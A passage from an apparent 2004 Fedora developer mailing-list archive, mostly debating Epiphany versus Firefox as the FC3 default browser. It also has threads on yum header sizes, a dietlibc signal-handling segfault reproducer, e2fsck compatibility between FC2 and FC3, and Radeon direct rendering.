> doesn't get in your way. Clicking on the icon can launch the default > > application for the thing (CD-burner wizard asking the necessary > > questions about audio/data-cd, digicamera app, file browser, whatever). > > That should be both extremely easy for new users and unobstructive as > > well. > > > > - Panu - > > It is a bit too late in the game for something like this. Obviously so for FC3. > I specifically rejected using the notification area (systray) for this > because the interaction model is not quite right and the right thing to > do (i.e. Notification Bubbles) will be the way we are going in the > future. Assuming notification bubbles are what I think they are then that sounds ok. Anything but popup windows :) Oh and even those are quite ok the first time something is plugged in. - Panu - From terraformers at gmx.net Sat Oct 9 13:17:33 2004 From: terraformers at gmx.net (Lars) Date: Sat, 09 Oct 2004 15:17:33 +0200 Subject: rawhide report: 20041009 changes References: <200410091154.i99BsLB19075@porkchop.devel.redhat.com> Message-ID: had to disable rhgb to get system booting. L From pmatilai at welho.com Sat Oct 9 13:28:39 2004 From: pmatilai at welho.com (Panu Matilainen) Date: Sat, 09 Oct 2004 16:28:39 +0300 Subject: Default browser of FC3? Message-ID: <1097328519.13577.84.camel@chip.laiskiainen.org> Is FC3 really going to ship with Epiphany as the default browser? I mean .. uh, there's this other, far more capable yet very user friendly browser there called Firefox. Epiphany doesn't even let me arrange my bookmarks the way I want them :( Not to mention utter lack of configurability for things like allowing popups from certain sites etc. - Panu - From jonathansavage at gmail.com Sat Oct 9 15:20:17 2004 From: jonathansavage at gmail.com (Jon Savage) Date: Sat, 9 Oct 2004 08:20:17 -0700 Subject: Default browser of FC3? In-Reply-To: <1097328519.13577.84.camel@chip.laiskiainen.org> References: <1097328519.13577.84.camel@chip.laiskiainen.org> Message-ID: <2ad7cea104100908204af703e0@mail.gmail.com> > Is FC3 really going to ship with Epiphany as the default browser? I mean > .. uh, there's this other, far more capable yet very user friendly > browser there called Firefox. Epiphany doesn't even let me arrange my > bookmarks the way I want them :( Not to mention utter lack of > configurability for things like allowing popups from certain sites etc. IMHO Firefox would be a most excellent default with the added bonus that many windows users are already familiar with & use Firefox making transition easier. -- Bests, Jon --- From feliciano.matias at free.fr Sat Oct 9 15:21:44 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 09 Oct 2004 17:21:44 +0200 Subject: rawhide report: 20041009 changes In-Reply-To: <200410091154.i99BsLB19075@porkchop.devel.redhat.com> References: <200410091154.i99BsLB19075@porkchop.devel.redhat.com> Message-ID: <1097335304.27633.3.camel@localhost.localdomain> Le samedi 09 octobre 2004 ? 07:54 -0400, Build System a ?crit : > > > Updated Packages: > > udev-034-2 > ---------- > * Fri Oct 08 2004 Harald Hoyer - 034-2 > > - check for /proc/sys/dev/cdrom/info existence in check-cdrom.sh > > * Fri Oct 08 2004 Harald Hoyer - 034-1 > > - new version udev-034 > - removed patches, which went upstream > - pam_console.dev link renamed to 05-pam_console.dev > - MAKEDEV.dev links renamed to 10-MAKEDEV.dev After the update, you should kill udevd. Perhaps this should be in the postinstall scriptlet of the rpm package. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From lars at homer.se Sat Oct 9 16:02:22 2004 From: lars at homer.se (Lars E. Pettersson) Date: Sat, 09 Oct 2004 18:02:22 +0200 Subject: Default browser of FC3? In-Reply-To: <1097328519.13577.84.camel@chip.laiskiainen.org> References: <1097328519.13577.84.camel@chip.laiskiainen.org> Message-ID: <41680B8E.1040102@homer.se> On 10/09/2004 03:28 PM, Panu Matilainen wrote: > Is FC3 really going to ship with Epiphany as the default browser? Sounds strange. How would Epiphany work in Kde? Or is another browser supposed to be default in Kde? Just asking, have not seen Epiphany mentioned as a default, may have missed something though... My vote for default browser for Fedora, be it already in FC3, would be Firefox. Reason? Well, it is working on a number of different platforms already, and users will be used to this browser, disregarding if they come from Windows, Mac, or Linux/UNIX. Epiphany on the other hand is probably lacking a lot of things users are used to. It is also not connected to either Gnome or Kde and will therefore, hopefully, be acknowledged by both Gnome and Kde users. Lars -- Lars E. Pettersson http://www.sm6rpz.se/ From walters at redhat.com Sat Oct 9 16:13:09 2004 From: walters at redhat.com (Colin Walters) Date: Sat, 09 Oct 2004 12:13:09 -0400 Subject: Default browser of FC3? In-Reply-To: <41680B8E.1040102@homer.se> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <41680B8E.1040102@homer.se> Message-ID: <1097338389.15432.1.camel@nexus.verbum.private> On Sat, 2004-10-09 at 18:02 +0200, Lars E. Pettersson wrote: > On 10/09/2004 03:28 PM, Panu Matilainen wrote: > > Is FC3 really going to ship with Epiphany as the default browser? > > Sounds strange. How would Epiphany work in Kde? The same as Firefox works in KDE? > It is also not > connected to either Gnome or Kde and will therefore, hopefully, be > acknowledged by both Gnome and Kde users. Epiphany is the GNOME browser. http://ftp.gnome.org/pub/GNOME/desktop/2.8/2.8.0/sources/epiphany-1.4.0.tar.bz2 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From pza at pza.net.au Sat Oct 9 16:20:54 2004 From: pza at pza.net.au (Phil Anderson) Date: Sun, 10 Oct 2004 02:20:54 +1000 Subject: Yum .hdr files massive Message-ID: <41680FE6.1000801@pza.net.au> Hi, Is there any reason why the yum header files (.hdr) are about the same size as the RPM files? e.g. [pza at hallucination development]$ ll headers/thunderbird-0.8.0-4.i386.hdr packages/thunderbird-0.8.0-4.i386.rpm -rw-r--r-- 1 root root 11108767 Oct 9 03:27 headers/thunderbird-0.8.0-4.i386.hdr -rw-r--r-- 1 root root 11109047 Oct 9 03:27 packages/thunderbird-0.8.0-4.i386.rpm [pza at hallucination development]$ du -s * 412296 headers 412320 packages 940 primary.xml.gz 6844 primary.xml.gz.0de5a02528ed14facfc0eaf9c7060209.pickle 8 repomd.xml I thought the idea of the header files was to get all the important info from without downloading the whole rpm? Anyone know what is going on here? Keeping up with the development repositlry is draining my monthly download quota, as i'm downloading twice what is really required. Phil From jspaleta at gmail.com Sat Oct 9 16:32:38 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Sat, 9 Oct 2004 12:32:38 -0400 Subject: Yum .hdr files massive In-Reply-To: <41680FE6.1000801@pza.net.au> References: <41680FE6.1000801@pza.net.au> Message-ID: <604aa79104100909323f75ccee@mail.gmail.com> On Sun, 10 Oct 2004 02:20:54 +1000, Phil Anderson wrote: > Anyone know what is going on here? Keeping up with the development > repositlry is draining my monthly download quota, as i'm downloading > twice what is really required. can you clean out your headers and your packages directory... and try again with the latest yum from the development tree and doublecheck to make sure this is still an issue. I dont see the issue here yum-2.1.6-1: ls -lah packages/totem-0.99.17-1.i386.rpm -rw-r--r-- 1 root root 684K Oct 8 17:24 packages/totem-0.99.17-1.i386.rpm ls -lah headers/totem-0.99.17-1.i386.hdr -rw-r--r-- 1 root root 20K Oct 8 17:23 headers/totem-0.99.17-1.i386.hdr ls -lah packages/openoffice.org-1.1.2-9.i386.rpm -rw-r--r-- 1 root root 44M Oct 7 11:22 packages/openoffice.org-1.1.2-9.i386.rp ls -lah headers/openoffice.org-1.1.2-9.i386.hdr -rw-r--r-- 1 root root 373K Oct 7 23:15 headers/openoffice.org-1.1.2-9.i386.hdr ls -lah packages/thunderbird-0.8.0-4.i386.rpm -rw-r--r-- 1 root root 11M Oct 9 12:30 packages/thunderbird-0.8.0-4.i386.rpm ls -lah headers/thunderbird-0.8.0-4.i386.hdr -rw-r--r-- 1 root root 62K Oct 9 12:29 headers/thunderbird-0.8.0-4.i386.hdr du -s * 7792 headers 2536120 packages 940 primary.xml.gz 6844 primary.xml.gz.0de5a02528ed14facfc0eaf9c7060209.pickle 8 repomd.xml -jef From lars at homer.se Sat Oct 9 16:46:39 2004 From: lars at homer.se (Lars E. Pettersson) Date: Sat, 09 Oct 2004 18:46:39 +0200 Subject: Default browser of FC3? In-Reply-To: <1097338389.15432.1.camel@nexus.verbum.private> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <41680B8E.1040102@homer.se> <1097338389.15432.1.camel@nexus.verbum.private> Message-ID: <416815EF.5020605@homer.se> On 10/09/2004 06:13 PM, Colin Walters wrote: >On Sat, 2004-10-09 at 18:02 +0200, Lars E. Pettersson wrote: ... >> It is also not >>connected to either Gnome or Kde and will therefore, hopefully, be >>acknowledged by both Gnome and Kde users. > > > Epiphany is the GNOME browser. I know. My sentence above should have referred to the Firefox browser, not Epiphany, just a slip on the keyboard :-) Why would Epiphany be a better default than Firefox, or Konquerer for that matter...? Personally, after having tested all three, Firefox is the one that I feel most comfortable with, others seem to have reached the same conclusion. And, as has been said, users of other operating systems will know the Firefox browser, but will probably find the new acquaintance Epiphany a bit "strange" to work with. I think a lot of users will switch to Firefox, when they realize that is available. I may be wrong though, the future will tell. Nice that Firefox at least will be available in FC3! Lars -- Lars E. Pettersson http://www.sm6rpz.se/ From skvidal at phy.duke.edu Sat Oct 9 17:31:12 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sat, 09 Oct 2004 13:31:12 -0400 Subject: Yum .hdr files massive In-Reply-To: <41680FE6.1000801@pza.net.au> References: <41680FE6.1000801@pza.net.au> Message-ID: <1097343072.6267.0.camel@binkley> On Sun, 2004-10-10 at 02:20 +1000, Phil Anderson wrote: > Hi, > > Is there any reason why the yum header files (.hdr) are about the same > size as the RPM files? > > e.g. > [pza at hallucination development]$ ll headers/thunderbird-0.8.0-4.i386.hdr > packages/thunderbird-0.8.0-4.i386.rpm > -rw-r--r-- 1 root root 11108767 Oct 9 03:27 > headers/thunderbird-0.8.0-4.i386.hdr > -rw-r--r-- 1 root root 11109047 Oct 9 03:27 > packages/thunderbird-0.8.0-4.i386.rpm > [pza at hallucination development]$ du -s * > 412296 headers > 412320 packages > 940 primary.xml.gz > 6844 primary.xml.gz.0de5a02528ed14facfc0eaf9c7060209.pickle > 8 repomd.xml > > I thought the idea of the header files was to get all the important info > from without downloading the whole rpm? What mirror are you using? If you're not using a site that supports http 1.1 and byte-ranges then yum will have to download the whole package. -sv From denisleroy at yahoo.com Sat Oct 9 21:38:01 2004 From: denisleroy at yahoo.com (Denis Leroy) Date: Sat, 9 Oct 2004 14:38:01 -0700 (PDT) Subject: Default browser of FC3? In-Reply-To: <416815EF.5020605@homer.se> Message-ID: <20041009213801.34254.qmail@web60709.mail.yahoo.com> --- "Lars E. Pettersson" wrote: > On 10/09/2004 06:13 PM, Colin Walters wrote: > >On Sat, 2004-10-09 at 18:02 +0200, Lars E. Pettersson wrote: > ... > >> It is also not > >>connected to either Gnome or Kde and will therefore, hopefully, be > >>acknowledged by both Gnome and Kde users. > > > > > > Epiphany is the GNOME browser. > > I know. My sentence above should have referred to the Firefox > browser, > not Epiphany, just a slip on the keyboard :-) > > Why would Epiphany be a better default than Firefox, or Konquerer for > that matter...? There was a discussion recently on freshrpms on how people would like to see galeon come back as the default gnome browser, Have you tried it ? Does firefox have an extension that makes it possible to view HTML pages straight into a nautilus window ? -denis From enrico.scholz at informatik.tu-chemnitz.de Sat Oct 9 21:42:43 2004 From: enrico.scholz at informatik.tu-chemnitz.de (Enrico Scholz) Date: Sat, 09 Oct 2004 23:42:43 +0200 Subject: Broken dietlibc-signalhandling with recent FC2 kernel Message-ID: <87zn2va7qk.fsf@londo.ultra.csn.tu-chemnitz.de> Hello, the following small program segfaults on the latest FC2 kernel: | #include | void handler(int s) {} | int main() | { | signal(SIGUSR1, handler); | kill(getpid(), SIGUSR1); | } | $ diet gcc test.c -Wa,--execstack -Wl,-z,execstack | $ strace /tmp/a.out | execve("/tmp/a.out", ["/tmp/a.out"], [/* 27 vars */]) = 0 | rt_sigaction(SIGUSR1, {0x80480d4, [USR1], SA_NOMASK}, {SIG_DFL}, 8) = 0 | getpid() = 736 | kill(736, SIGUSR1) = 0 | --- SIGUSR1 (User defined signal 1) @ 0 (0) --- | --- SIGSEGV (Segmentation fault) @ 0 (0) --- | +++ killed by SIGSEGV +++ Things are fine with: * the latest stable kernel (2.4.27), * the FC1 kernels, * the FC2 kernel 2.6.7-1.494.2.2, * the vanilla 2.6.8.1 kernel. where I get the expected | execve("/home/ensc/tmp/a.out", ["/home/ensc/tmp/a.out"], [/* 43 vars */]) = 0 | rt_sigaction(SIGUSR1, {0x80480d4, [USR1], SA_NOMASK}, {SIG_DFL}, 8) = 0 | getpid() = 22642 | kill(22642, SIGUSR1) = 0 | --- SIGUSR1 (User defined signal 1) @ 0 (0) --- | sigreturn() = ? (mask now []) | _exit(0) = ? The segfault has been seen on the 2.6.8-1.521 kernel only; rawhide kernels were not tested yet. Tricks like executing through 'setarch i386', with 'LD_ASSUME_KERNEL=2.2.5', putting '0' into /proc/sys/kernel/exec-shield' or removing the '-W[al]' options above do not help. Issue has been verified with both the shipped dietlibc-0.24-4 and a vanilla dietlibc-0.27. Am I missing a way how I can use dietlibc with FC2? Enrico From fedora at andrewfarris.com Sat Oct 9 22:43:50 2004 From: fedora at andrewfarris.com (Andrew Farris) Date: Sat, 09 Oct 2004 15:43:50 -0700 Subject: xpdf and lynx translated config files in /etc Message-ID: <1097361830.1270.15.camel@CirithUngol> xpdf includes several translated sample xpdfrc files in /etc. It would be much cleaner to give xpdf a directory and symlink the primary /etc/xpdfrc (english as default) to the english version in the directory, or to modify xpdf to read this from the directory instead. xpdf and lynx are the only packages that are dumping multiple translation config files into my /etc at this moment, it appears to be the exception rather than the rule. If this continues with more packages then /etc will become a cluttered mess. Is there a preferred practice on this? Should these two packages be changed? From lars at homer.se Sat Oct 9 22:51:11 2004 From: lars at homer.se (Lars E. Pettersson) Date: Sun, 10 Oct 2004 00:51:11 +0200 Subject: Default browser of FC3? In-Reply-To: <20041009213801.34254.qmail@web60709.mail.yahoo.com> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> Message-ID: <41686B5F.9020301@homer.se> On 10/09/2004 11:38 PM, Denis Leroy wrote: > There was a discussion recently on freshrpms on how people would like > to see galeon come back as the default gnome browser, Have you tried it > ? A long time ago, could perhaps install it and give it a try. > Does firefox have an extension that makes it possible to view HTML > pages straight into a nautilus window ? Should it not be the other way around? An extension to Nautilus to view HTML inside Nautilus using Firefox? No, I am not aware of any such extensions. As Nautilus is a Gnome application, just as Epiphany, or gtkhtml3 for that matter, the best thing in this special case is another Gnome application. I.e. in the case you refer to Epiphany might be the best choice, or gtkhtml3 if that is possible (don't know) My personal preference is not to open pdf:s, postscript files, or html inside an application like Nautilus, so in this case I would open the html file inside my default html-application, at the moment that would be Firefox. Pdf:s I show in Acrobat reader, not inside Nautilus or Firefox, etc. etc. But that is me, others do things differently, that is why choice is good, not evil. Perhaps the best thing would be to get a box "Would you like to use this application as your default" to show up until a default have been chosen by the user (but this is perhaps work in the making, I think I saw a box like this the other day, do not remember what application that started it though... :-) Lars -- Lars E. Pettersson http://www.sm6rpz.se/ From veguilla at hpcf.upr.edu Sat Oct 9 23:11:12 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sat, 09 Oct 2004 19:11:12 -0400 Subject: Default browser of FC3? In-Reply-To: <41686B5F.9020301@homer.se> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> Message-ID: <1097363472.7415.15.camel@ricardo.veguilla.net> I don't want to turn this into a browser war, but why do people think epiphany should not be the *default* browser? I mean, its not like its going be the only browser, if I remember correctly, firefox is going to be included in FC3 and galeon is available in many third party repos (if it is not in Fedora Extras, then its should be, IMO). Regards, -- Ricardo Veguilla From music-cornette at sbcglobal.net Sun Oct 10 00:01:11 2004 From: music-cornette at sbcglobal.net (Jim Cornette) Date: Sat, 09 Oct 2004 20:01:11 -0400 Subject: fsck.ext3 in FC2 In-Reply-To: <20041007093138.GA4539@devel.mpeters.us> References: <20041007093138.GA4539@devel.mpeters.us> Message-ID: <41687BC7.3090807@sbcglobal.net> Michael A. Peters wrote: > [root at devel root]# e2fsck LABEL=/ > e2fsck 1.35 (28-Feb-2004) > e2fsck: Filesystem has unsupported feature(s) (/) > e2fsck: Get a newer version of e2fsck! > [root at devel root]# > > (note - this is from LABEL=/1 currently being mounted on /) > > Can we can an e2fsck package for FC2 that fixes this? > > I always like to run two installs - one version old on my scsi disk - > as a stable backup in case I bork my system, and current version on > my main IDE drive. > > But the backup "1 version old" install has to be able to mount / from > the current install so that I can use symlinks to have the same /var/ > spool/mail/mbox files. > > I've wiped FC1 off of my scsi drive, put FC2 on it, and am now > running FC3test on the IDE drive - and came into this problem. > > So by the official FC3 release date, will we have an "official" > update to fsck on FC2 pushed through yum, or will I need to update it > myself? > > I would prefer not to "roll my own" anything on the scsi (one version > old) install, it's suppose to be stock stable that works. > I ran into this problem also with trying to mount newer created volumes from FC3T2 on my FC2 system for common file sharing between distributions. This leads to people assuming their filesystem is corrupted because of being dropped into the maint shell when the volumes from FC3T2 are mounted on either FCT1 (now not too important a problem) or earlier versions of linux. FC2 being a supported version still, this should get the newer versions, to rid this distribution from causing problems with dual booting FC3 and FC2. I assume that FC1 will be a problem with FC2 and FC3 distributions after the version upgrade, but this would be a mission for legacy support. Jim -- "If I have trouble installing Linux, something is wrong. Very wrong." - Linus Torvalds From lars at homer.se Sun Oct 10 00:17:04 2004 From: lars at homer.se (Lars E. Pettersson) Date: Sun, 10 Oct 2004 02:17:04 +0200 Subject: Default browser of FC3? In-Reply-To: <1097363472.7415.15.camel@ricardo.veguilla.net> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> Message-ID: <41687F80.5040309@homer.se> On 10/10/2004 01:11 AM, Ricardo Veguilla wrote: > I don't want to turn this into a browser war, but why do people think > epiphany should not be the *default* browser? No not a war, just splitting of hairs :-) I mentioned some reasons earlier, but one may also ask the question, why Epiphany? Why not Mozilla, Konquerer, or Firefox? I think the default should reflect the number of users of that application. I.e. the most used browser should be the default, and I do not think that Epiphany is the most used browser at the moment. It is used, I know, but not the most used. I do not think either that it will be the most used, it is probably too minimalistic for most users. So why Epiphany? At the moment I think the most used browser in the Fedora community is Mozilla, based on it being the "default" now, and the spread use it has both in Linux, and other operating systems. As the Mozilla team now seem to push Firefox, I would seem logical for Fedora to follow this and set Firefox as the default. > I mean, its not like its > going be the only browser, if I remember correctly, firefox is going to > be included in FC3 and galeon is available in many third party repos Your quite correct! And perhaps the ideal solution would be what I mentioned earlier, a box asking "Would you like this application to be your default" showing up until a default have been chosen (or a box with the text, "Chose default application ..." when opening an http-url, etc., you get the picture) Lars -- Lars E. Pettersson http://www.sm6rpz.se/ From i_p_a_u_l at yahoo.com Sun Oct 10 01:03:46 2004 From: i_p_a_u_l at yahoo.com (Paul Ionescu) Date: Sun, 10 Oct 2004 04:03:46 +0300 Subject: USB flashdisk rescue image for FC3 Message-ID: Hi, Is it possible to have a rescue image for USB flash disks for FC3 ? We already have the possibility to boot an FC2/3 install image from an USB disk in size of few megs (5-6M), so I think there is no reason not to have an additional rescue image for USB disks. It is very common now to have an 128M usb flash disk or greater, so it would fit on it. From veguilla at hpcf.upr.edu Sun Oct 10 01:35:24 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sat, 09 Oct 2004 21:35:24 -0400 Subject: Default browser of FC3? In-Reply-To: <41687F80.5040309@homer.se> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <41687F80.5040309@homer.se> Message-ID: <1097372125.8141.72.camel@ricardo.veguilla.net> On Sun, 2004-10-10 at 02:17 +0200, Lars E. Pettersson wrote: > On 10/10/2004 01:11 AM, Ricardo Veguilla wrote: > > I don't want to turn this into a browser war, but why do people think > > epiphany should not be the *default* browser? > > No not a war, just splitting of hairs :-) > > I mentioned some reasons earlier, but one may also ask the question, why > Epiphany? Why not Mozilla, Konquerer, or Firefox? Well, since I'm interested in hearing what is wrong with epiphany, asking why other browsers aren't the default is pretty much irrelevant. > I think the default should reflect the number of users of that > application. I.e. the most used browser should be the default, and I do > not think that Epiphany is the most used browser at the moment. Quite frankly I don't think the current number of users is a good reason to choose the distribution's default browser. Based on this argument, many people would never be exposed to new software, among other things. I'm obviously assuming that all the popular browser are available for those who want to use them. > It is > used, I know, but not the most used. I do not think either that it will > be the most used, it is probably too minimalistic for most users. So why > Epiphany? Its simple, minimal and tightly integrated to Gnome, thats exactly why the Gnome project decided to use it as official browser and I think its the same in the Red-Hat/Fedora case. > At the moment I think the most used browser in the Fedora community is > Mozilla, based on it being the "default" now, and the spread use it has > both in Linux, and other operating systems. As the Mozilla team now seem > to push Firefox, I would seem logical for Fedora to follow this and set > Firefox as the default. Mozilla is the most popular because it was the default. Epiphany is not popular because its not the default... so... Epiphany should not be the default because its not popular. Firefox should be the default because, even though its not the most popular (the ideal element of the default browser, in your opinion), its the offspring of Mozilla which is the most popular. If I understood your position correctly, your arguments against epiphany (which was what I asked for in my original email) are: a) its minimalistic (which seems to be the "main" feature of epiphany) b) its not the most popular browser at this moment Btw, I don't have anything against firefox (which is my default browser in WinXP, until a win32 epiphany port comes along :) or galeon (which I used extensively in my Slackware years), its just that I think that epiphany is much better for a default browser. > > > I mean, its not like its > > going be the only browser, if I remember correctly, firefox is going to > > be included in FC3 and galeon is available in many third party repos > > Your quite correct! And perhaps the ideal solution would be what I > mentioned earlier, a box asking "Would you like this application to be > your default" showing up until a default have been chosen (or a box with > the text, "Chose default application ..." when opening an http-url, > etc., you get the picture) If you (and I, and everyone else that likes something different) can change the default browser to something else, whats the point of asking a user who may not know what firefox, epiphany,galeon or mozilla, to chose a browser? Using your example about asking the user...right now the FC assumes that the user selected "Chose default applications ..." I don't see any problem with that. I think that this boils down to the question: Who is the target user for that default app/setting/etc? In my experience default values are for newbies... experienced user usually changed the defaults to whatever they like (except when the default "Just Work" ;). Regards, -- Ricardo Veguilla From feliciano.matias at free.fr Sun Oct 10 02:11:49 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sun, 10 Oct 2004 04:11:49 +0200 Subject: Default browser of FC3? In-Reply-To: <1097363472.7415.15.camel@ricardo.veguilla.net> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> Message-ID: <1097374309.27633.17.camel@localhost.localdomain> Le samedi 09 octobre 2004 ? 19:11 -0400, Ricardo Veguilla a ?crit : > I don't want to turn this into a browser war, but why do people think > epiphany should not be the *default* browser? Why it should be the default browser ? Abiword/gnumeric/... are not the default office suite. I think epiphany is a good browser but miss some strong features : - better bookmark - blocking popup - encrypted password Perhaps FC3 may install epiphany _and_ firefox by default and keep epiphany as preferred browser in Gnome setting. > I mean, its not like its > going be the only browser, if I remember correctly, firefox is going to > be included in FC3 and galeon is available in many third party repos (if > it is not in Fedora Extras, then its should be, IMO). > > Regards, > > -- > Ricardo Veguilla > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From louisg00 at bellsouth.net Sun Oct 10 02:18:17 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Sat, 09 Oct 2004 22:18:17 -0400 Subject: No direct rendering with booting init 5 Message-ID: <1097374697.3721.5.camel@tiger> I mentioned this before, when booting in init 5 I don't get direct rendering support with my radeon 7500. However when I boot in init 3 and startx direct rendering is present. I've tried to search bugzilla with no luck. Is anyone else seeing this? --Thanks From veguilla at hpcf.upr.edu Sun Oct 10 03:09:00 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sat, 09 Oct 2004 23:09:00 -0400 Subject: Default browser of FC3? In-Reply-To: <1097374309.27633.17.camel@localhost.localdomain> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <1097374309.27633.17.camel@localhost.localdomain> Message-ID: <1097377740.9436.10.camel@ricardo.veguilla.net> On Sun, 2004-10-10 at 04:11 +0200, Matias F?liciano wrote: > Le samedi 09 octobre 2004 ? 19:11 -0400, Ricardo Veguilla a ?crit : > I think epiphany is a good browser but miss some strong features : > - better bookmark What you mean by better? epiphany's bookmarks system is more flexible than the traditional hierarchical bookmarks system provided by most other browsers. > - blocking popup provided by epiphany-extensions > - encrypted password what do you mean by "encrypted password"? you mean like gnome-keyring support? or a password manager? > Perhaps FC3 may install epiphany _and_ firefox by default and keep > epiphany as preferred browser in Gnome setting. I might be wrong, but I think that is the plan. -- Ricardo Veguilla From feliciano.matias at free.fr Sun Oct 10 04:12:28 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sun, 10 Oct 2004 06:12:28 +0200 Subject: Default browser of FC3? In-Reply-To: <1097377740.9436.10.camel@ricardo.veguilla.net> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <1097374309.27633.17.camel@localhost.localdomain> <1097377740.9436.10.camel@ricardo.veguilla.net> Message-ID: <1097381549.6554.15.camel@localhost.localdomain> Le samedi 09 octobre 2004 ? 23:09 -0400, Ricardo Veguilla a ?crit : > On Sun, 2004-10-10 at 04:11 +0200, Matias F?liciano wrote: > > Le samedi 09 octobre 2004 ? 19:11 -0400, Ricardo Veguilla a ?crit : > > > I think epiphany is a good browser but miss some strong features : > > - better bookmark > > What you mean by better? epiphany's bookmarks system is more flexible > than the traditional hierarchical bookmarks system provided by most > other browsers. > Anyway, I can live without "traditional hierarchical bookmarks". > > - blocking popup > > provided by epiphany-extensions Sorry. I find it. > > > - encrypted password > > what do you mean by "encrypted password"? you mean like gnome-keyring > support? or a password manager? > I mean a password manager with a master password. I don't know if gnome-keyring can do the trick. Don't get me wrong. I think epiphany is the best for the default browser. But the reason "epiphany is tight to Gnome" is not enough to set it as the default browser. And the reason "Firefox is not tight to Gnome" is not enough to refuse to set it as the default browser. > > > Perhaps FC3 may install epiphany _and_ firefox by default and keep > > epiphany as preferred browser in Gnome setting. > > I might be wrong, but I think that is the plan. > > -- > Ricardo Veguilla > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From feliciano.matias at free.fr Sun Oct 10 04:16:45 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sun, 10 Oct 2004 06:16:45 +0200 Subject: Default browser of FC3? In-Reply-To: <1097381549.6554.15.camel@localhost.localdomain> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <1097374309.27633.17.camel@localhost.localdomain> <1097377740.9436.10.camel@ricardo.veguilla.net> <1097381549.6554.15.camel@localhost.localdomain> Message-ID: <1097381805.6554.16.camel@localhost.localdomain> Le dimanche 10 octobre 2004 ? 06:12 +0200, Matias F?liciano a ?crit : > Anyway, I can live without "traditional hierarchical bookmarks". Ooops : I can NOT live ... -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From reader at newsguy.com Sun Oct 10 05:01:28 2004 From: reader at newsguy.com (Harry Putnam) Date: Sun, 10 Oct 2004 00:01:28 -0500 Subject: Default browser of FC3? In-Reply-To: <1097381805.6554.16.camel@localhost.localdomain> (Matias =?utf-8?Q?F=C3=A9liciano's?= message of "Sun, 10 Oct 2004 06:16:45 +0200") References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <1097374309.27633.17.camel@localhost.localdomain> <1097377740.9436.10.camel@ricardo.veguilla.net> <1097381549.6554.15.camel@localhost.localdomain> <1097381805.6554.16.camel@localhost.localdomain> Message-ID: Speaking of epiphany bookmarks, how does one turn of the horrible dark brown bar that appears on the bookmark menu on selected heading. It completely obscures any text there, and does not seem to be related to the desktop themes or colors. At least changing the desktop appearance doesn't seem to effect it. I'm running KDE-3.3 Using epiphanies own `preferences' I see no way to control that nasty dark brown blob either. From train at voicenet.com Sun Oct 10 05:22:18 2004 From: train at voicenet.com (Herbert Rutledge) Date: Sun, 10 Oct 2004 01:22:18 -0400 Subject: No direct rendering with booting init 5 In-Reply-To: <1097374697.3721.5.camel@tiger> References: <1097374697.3721.5.camel@tiger> Message-ID: <1097385738.14910.6.camel@trilon> On Sat, 2004-10-09 at 22:18 -0400, Louis Garcia wrote: > I mentioned this before, when booting in init 5 I don't get direct > rendering support with my radeon 7500. However when I boot in init 3 and > startx direct rendering is present. I've tried to search bugzilla with > no luck. Is anyone else seeing this? I'm seeing something similar, but not quite the same. This is with a Radeon 9000, not a 7500, also not quite the same. If the box is rebooted, it comes up in init 5 without direct rendering. If, however, the user executes a log out and then logs back in, direct rendering is enabled. This is with kernel 2.6.8-1.603smp and xorg-x11-6.8.1-4. Direct rendering as reported by glxinfo. You want to file the bug report, or should I do it? -train From veguilla at hpcf.upr.edu Sun Oct 10 05:25:52 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Sun, 10 Oct 2004 01:25:52 -0400 Subject: Default browser of FC3? In-Reply-To: <1097381805.6554.16.camel@localhost.localdomain> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <1097374309.27633.17.camel@localhost.localdomain> <1097377740.9436.10.camel@ricardo.veguilla.net> <1097381549.6554.15.camel@localhost.localdomain> <1097381805.6554.16.camel@localhost.localdomain> Message-ID: 